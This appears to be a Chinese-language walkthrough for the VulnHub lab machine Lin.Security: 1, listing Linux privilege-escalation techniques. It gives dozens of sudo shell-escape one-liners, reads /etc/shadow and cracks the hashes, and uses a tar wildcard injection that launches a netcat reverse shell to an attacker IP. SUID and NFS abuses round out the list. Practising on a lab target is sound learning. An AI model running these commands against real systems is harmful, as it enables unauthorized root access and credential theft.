VulnHub-Lin.Security: 1-靶机渗透学习
字数 1040 2025-08-15 21:33:19
VulnHub-Lin.Security: 1 靶机渗透学习文档
靶机概述
- 靶机名称: Lin.Security: 1
- 难度等级: 中级(CTF)
- 发布日期: 2018年7月11日
- 操作系统: Ubuntu 18.04 LTS
- 镜像大小: <1.7GB
- 初始凭证: bob/secret
- 目标: 获取root权限
信息收集
初始访问
- 使用提供的凭证登录:
bob/secret
提权方法总结
方法一: Sudo提权
bob用户具备sudo权限,可以利用多种命令进行提权:
-
ash:
sudo ash -
awk:
sudo awk 'BEGIN {system("/bin/sh")}' -
bash:
sudo bash -
csh:
sudo csh -
curl:
sudo curl file:///etc/shadow -
dash:
sudo dash -
ed:
sudo ed !/bin/sh -
env:
sudo env /bin/sh -
expect:
sudo expect -c 'spawn /bin/sh;interact' -
find:
sudo find . -exec /bin/sh \; -quit -
ftp:
sudo ftp !/bin/sh -
less:
sudo less /etc/passwd !/bin/sh -
man:
sudo man man !/bin/sh -
more:
sudo more /etc/passwd !/bin/sh -
scp:
TF=$(mktemp) echo 'sh 0<&2 1>&2' > $TF chmod +x "$TF" sudo scp -S $TF x y: -
socat:
sudo socat stdin exec:/bin/sh -
ssh:
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x -
vi:
sudo vi -c ':!/bin/sh' /dev/null -
zsh:
sudo zsh -
pico:
sudo pico ^R^X reset; sh 1>&0 2>&0 -
rvim:
sudo rvim -c ':python3 import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' -
perl:
sudo perl -e 'exec "/bin/sh";' -
tclsh:
sudo tclsh exec /bin/sh <@stdin >@stdout 2>@stderr -
git:
sudo git -p help config !/bin/sh -
script:
sudo script -q /dev/null
方法二: Hash密码破解
- 查看
/etc/shadow文件获取用户hash密码 - 使用
john或hashcat进行破解 - 示例破解结果:
insecurity/P@ssw0rd
方法三: 通配符提权(tar命令注入)
- 发现存在root权限的每分钟执行一次的定时任务,使用tar命令备份home目录
- 在bob目录下执行以下操作:
# 生成反弹shell msfvenom -p cmd/unix/reverse_netcat lhost=<攻击机IP> lport=6666 # 注入检查点标志 echo "" > --checkpoint=1 # 创建shell脚本 echo "mkfifo /tmp/ujwa; nc <攻击机IP> 6666 0</tmp/ujwa | /bin/sh >/tmp/ujwa 2>&1; rm /tmp/ujwa" > shell.sh # 注入检查点动作 echo "" > "--checkpoint-action=exec=sh shell.sh" - 等待定时任务执行,获取反弹shell
方法四: SUID提权
-
查找具有SUID权限的文件:
find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null -
利用特定SUID程序提权:
-
xxd:
xxd /etc/shadow | xxd -r然后使用john破解获取root密码:
root/secret123 -
taskset:
taskset 1 /bin/sh -p
-
方法五: NFS提权
-
发现NFS服务:
showmount -e <靶机IP> -
挂载共享目录:
mount -t nfs <靶机IP>:/home/peter /tmp/nfs/ -
发现root可直接访问root目录,但无法直接拷贝文件
-
修改本地test2用户的GID匹配共享目录:
groupmod -g 1005 test2 -
创建SSH密钥并复制到共享目录:
cp /tmp/authorized_keys authorized_keys -
使用密钥连接:
ssh -i id_rsa peter@<靶机IP> -
发现peter用户有sudo权限,使用strace提权:
sudo strace -o /dev/null /bin/sh
总结
本靶机提供了多种Linux提权方法的实践机会,主要包括:
- Sudo提权 - 利用各种命令的sudo权限
- Hash密码破解 - 通过shadow文件获取并破解密码
- 通配符提权 - 利用tar命令的特性进行注入
- SUID提权 - 利用具有SUID权限的特殊程序
- NFS提权 - 通过网络共享文件系统获取权限
每种方法都展示了Linux系统中不同配置错误或特性可能被利用的方式,对于理解Linux系统安全有重要价值。